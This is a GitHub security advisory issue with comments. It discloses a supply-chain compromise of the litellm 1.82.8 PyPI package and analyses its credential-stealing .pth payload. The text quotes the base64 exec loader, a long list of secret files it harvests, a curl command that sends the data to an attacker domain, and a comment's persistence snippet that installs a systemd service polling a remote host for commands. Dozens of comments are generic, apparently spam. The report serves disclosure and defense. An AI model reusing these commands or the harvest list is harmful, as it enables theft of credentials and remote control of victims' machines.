Skip to content

[Security]: CRITICAL: Malicious litellm_init.pth in litellm 1.82.8 — credential stealer #24512

@isfinne

Description

@isfinne

[LITELLM TEAM] - For updates from the team, please see: #24518

[Security]: CRITICAL: Malicious litellm_init.pth in litellm 1.82.8 PyPI package — credential stealer

Summary

The litellm==1.82.8 wheel package on PyPI contains a malicious .pth file (litellm_init.pth, 34,628 bytes) that automatically executes a credential-stealing script every time the Python interpreter starts — no import litellm required.

This is a supply chain compromise. The malicious file is listed in the package's own RECORD:

litellm_init.pth,sha256=ceNa7wMJnNHy1kRnNCcwJaFjWX3pORLfMh7xGL8TUjg,34628

Reproduction

pip download litellm==1.82.8 --no-deps -d /tmp/check
python3 -c "
import zipfile, os
whl = '/tmp/check/' + [f for f in os.listdir('/tmp/check') if f.endswith('.whl')][0]
with zipfile.ZipFile(whl) as z:
    pth = [n for n in z.namelist() if n.endswith('.pth')]
    print('PTH files:', pth)
    for p in pth:
        print(z.read(p)[:300])
"

You will see litellm_init.pth containing:

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"])

Malicious Behavior (full analysis)

The payload is double base64-encoded. When decoded, it performs the following:

Stage 1: Information Collection

The script collects sensitive data from the host system:

  • System info: hostname, whoami, uname -a, ip addr, ip route
  • Environment variables: printenv (captures all API keys, secrets, tokens)
  • SSH keys: ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.ssh/id_ecdsa, ~/.ssh/id_dsa, ~/.ssh/authorized_keys, ~/.ssh/known_hosts, ~/.ssh/config
  • Git credentials: ~/.gitconfig, ~/.git-credentials
  • AWS credentials: ~/.aws/credentials, ~/.aws/config, IMDS token + security credentials
  • Kubernetes secrets: ~/.kube/config, /etc/kubernetes/admin.conf, /etc/kubernetes/kubelet.conf, /etc/kubernetes/controller-manager.conf, /etc/kubernetes/scheduler.conf, service account tokens
  • GCP credentials: ~/.config/gcloud/application_default_credentials.json
  • Azure credentials: ~/.azure/
  • Docker configs: ~/.docker/config.json, /kaniko/.docker/config.json, /root/.docker/config.json
  • Package manager configs: ~/.npmrc, ~/.vault-token, ~/.netrc, ~/.lftprc, ~/.msmtprc, ~/.my.cnf, ~/.pgpass, ~/.mongorc.js
  • Shell history: ~/.bash_history, ~/.zsh_history, ~/.sh_history, ~/.mysql_history, ~/.psql_history, ~/.rediscli_history
  • Crypto wallets: ~/.bitcoin/, ~/.litecoin/, ~/.dogecoin/, ~/.zcash/, ~/.dashcore/, ~/.ripple/, ~/.bitmonero/, ~/.ethereum/keystore/, ~/.cardano/, ~/.config/solana/
  • SSL/TLS private keys: /etc/ssl/private/, Let's Encrypt .pem and .key files
  • CI/CD secrets: terraform.tfvars, .gitlab-ci.yml, .travis.yml, Jenkinsfile, .drone.yml, Anchor.toml, ansible.cfg
  • Database credentials: PostgreSQL, MySQL, Redis, LDAP config files
  • Webhook URLs: grep for Slack/Discord webhook URLs in env and config files

Stage 2: Encryption & Exfiltration

  1. Collected data is written to a temporary file
  2. A random 32-byte AES-256 session key is generated via openssl rand
  3. The collected data is encrypted with openssl enc -aes-256-cbc -pbkdf2
  4. The AES session key is encrypted with a hardcoded 4096-bit RSA public key via openssl pkeyutl -encrypt -pkeyopt rsa_padding_mode:oaep
  5. Both encrypted files are packed into tpcp.tar.gz
  6. The archive is exfiltrated via:
curl -s -o /dev/null -X POST \
  "https://models.litellm.cloud/" \
  -H "Content-Type: application/octet-stream" \
  -H "X-Filename: tpcp.tar.gz" \
  --data-binary @tpcp.tar.gz

Key Technical Details

  • Trigger mechanism: .pth files in site-packages/ are executed automatically by the Python interpreter on startup (see Python docs on .pth files). No import statement is needed.
  • Stealth: The payload is double base64-encoded, making it invisible to naive source code grep.
  • Exfiltration target: https://models.litellm.cloud/ — note the domain litellm.cloud (NOT litellm.ai, the official domain).
  • RSA public key (first 64 chars): MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvahaZDo8mucujrT15ry+...

Impact

Anyone who installed litellm==1.82.8 via pip has had all environment variables, SSH keys, cloud credentials, and other secrets collected and sent to an attacker-controlled server.

This affects:

  • Local development machines
  • CI/CD pipelines
  • Docker containers
  • Production servers

Affected Version

  • Confirmed: litellm==1.82.8 (PyPI wheel litellm-1.82.8-py3-none-any.whl)
  • Other versions: Not yet checked — the attacker may have compromised multiple releases

Recommended Actions

  1. PyPI: Yank/remove litellm 1.82.8 immediately
  2. Users: Check for litellm_init.pth in your site-packages/ directory
  3. Users: Rotate ALL credentials that were present as environment variables or in config files on any system where litellm 1.82.8 was installed
  4. BerriAI: Audit PyPI publishing credentials and CI/CD pipeline for compromise

Environment

  • OS: Ubuntu 24.04 (Docker container)
  • Python: 3.13
  • pip installed from PyPI
  • Discovered: 2026-03-24

Activity

hnykda

hnykda commented on Mar 24, 2026

@hnykda

Yep, we have been pwned by this. @krrishdholakia this is very, very bad, thousands of people are likely getting pwned right now.

treo

treo commented on Mar 24, 2026

@treo

Version 1.82.7 is also compromised. It doesn't have the pth file, but the payload is still in proxy/proxy_server.py.

praiitt

praiitt commented on Mar 24, 2026

@praiitt

Thanks, that helped!

praiitt

praiitt commented on Mar 24, 2026

@praiitt

This was the answer I was looking for.

Hancie123

Hancie123 commented on Mar 24, 2026

@Hancie123

Worked like a charm, much appreciated.

programonaut

programonaut commented on Mar 24, 2026

@programonaut

Thanks, that helped!

Christopher933

Christopher933 commented on Mar 24, 2026

@Christopher933

Thanks for the tip!

mahesh-sini

mahesh-sini commented on Mar 24, 2026

@mahesh-sini

Great explanation, thanks for sharing.

bercanozcan

bercanozcan commented on Mar 24, 2026

@bercanozcan

This was the answer I was looking for.

18pixels

18pixels commented on Mar 24, 2026

@18pixels

Thanks for the tip!

Balerionth

Balerionth commented on Mar 24, 2026

@Balerionth

Great explanation, thanks for sharing.

sanchir2011

sanchir2011 commented on Mar 24, 2026

@sanchir2011

Great explanation, thanks for sharing.

bwanakweli4ever

bwanakweli4ever commented on Mar 24, 2026

@bwanakweli4ever

Great explanation, thanks for sharing.

461 remaining items

raj3shp

raj3shp commented on Mar 25, 2026

@raj3shp

Looking at the package version 1.82.8. It seems that analysis posted in the issue description is incomplete. I noticed that there is an additional persistent backdoor being dropped by the malicious code.

PERSIST_B64='aW1wb3J0IHVyb<snip>
echo {PERSIST_B64}|base64 -d > /host/root/.config/sysmon/sysmon.py
  • This code is then configured as a systemd service for kubernetes pods and also the host OS
printf "[Unit]\\nDescription=System Telemetry Service\\nAfter=network.target\\n[Service]\\nType=simple\\nExecStart=$PY /root/.config/sysmon/sysmon.py\\nRestart=always\\nRestartSec=10\\n[Install]\\nWantedBy=multi-user.target\\n" > /host/root/.config/systemd/user/sysmon.service && '
f'chroot /host systemctl --user daemon-reload 2>/dev/null; '
f'chroot /host systemctl enable --now sysmon.service 2>/dev/null || true'
  • The persistence code is polling another domain every 3000 seconds to receive and execute commands.
C_URL = "https://checkmarx.zone/raw"
TARGET = "/tmp/pglog"
STATE = "/tmp/.pg_state"

<snip>

if __name__ == "__main__":
    time.sleep(300)
    while True:
        l = g()
        prev = ""
        if os.path.exists(STATE):
            try:
                with open(STATE, "r") as f:
                    prev = f.read().strip()
            except:
                pass

        if l and l != prev and "youtube.com" not in l:
            e(l)

        time.sleep(3000)
christopherwoodall

christopherwoodall commented on Mar 25, 2026

@christopherwoodall

@christopherwoodall

Do you have v1.82.7 as well?

Here's all of the links:

* https://files.pythonhosted.org/packages/27/d1/c03138d4969373cc7b256bb273951dcf32d49090756a5bc6e7a298ff124c/litellm-1.82.7.tar.gz

* https://files.pythonhosted.org/packages/79/5f/b6998d42c6ccd32d36e12661f2734602e72a576d52a51f4245aef0b20b4d/litellm-1.82.7-py3-none-any.whl

* https://files.pythonhosted.org/packages/f6/2c/731b614e6cee0bca1e010a36fd381fba69ee836fe3cb6753ba23ef2b9601/litellm-1.82.8.tar.gz

* https://files.pythonhosted.org/packages/fd/78/2167536f8859e655b28adf09ee7f4cd876745a933ba2be26853557775412/litellm-1.82.8-py3-none-any.whl

Thank you. Looks like the malicious script starts on line 130 in proxy_server.py in version 1.82.7.

VX1D

VX1D commented on Mar 25, 2026

@VX1D

Few pwned accounts in this thread have pretty popular repos as for example VexaAI. Beware as they might be compromised or will be.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

      Development

      No branches or pull requests

        Participants

        @mj6uc@olivierverdier@e-minguez@jankazemier@christopherwoodall

        Issue actions